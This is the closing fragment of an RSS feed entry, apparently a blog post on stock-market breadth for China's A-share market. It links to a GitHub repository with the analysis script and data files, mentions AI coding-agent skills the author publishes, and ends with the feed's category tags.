&lt;p&gt;→ &lt;strong&gt;github.com/Felixwang007/a-share-signal-lab&lt;/strong&gt; — &lt;code&gt;breadth_gauge.py&lt;/code&gt; (builds the gauge and&lt;br&gt;
every number above), &lt;code&gt;breadth_gauge.json&lt;/code&gt; (622 days of breadth), &lt;code&gt;breadth_stats.json&lt;/code&gt; (the&lt;br&gt;
tables), plus the earlier volume study.&lt;/p&gt;

&lt;p&gt;If you want this kind of data-audit tooling packaged for an AI coding agent to run for you,&lt;br&gt;
I publish skills for that on &lt;a href="https://xiaping.coze.com" rel="noopener noreferrer"&gt;虾评&lt;/a&gt; — but the honest version of the&lt;br&gt;
finding lives in the repo above, where you can recompute it yourself.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
  </channel>
</rss>
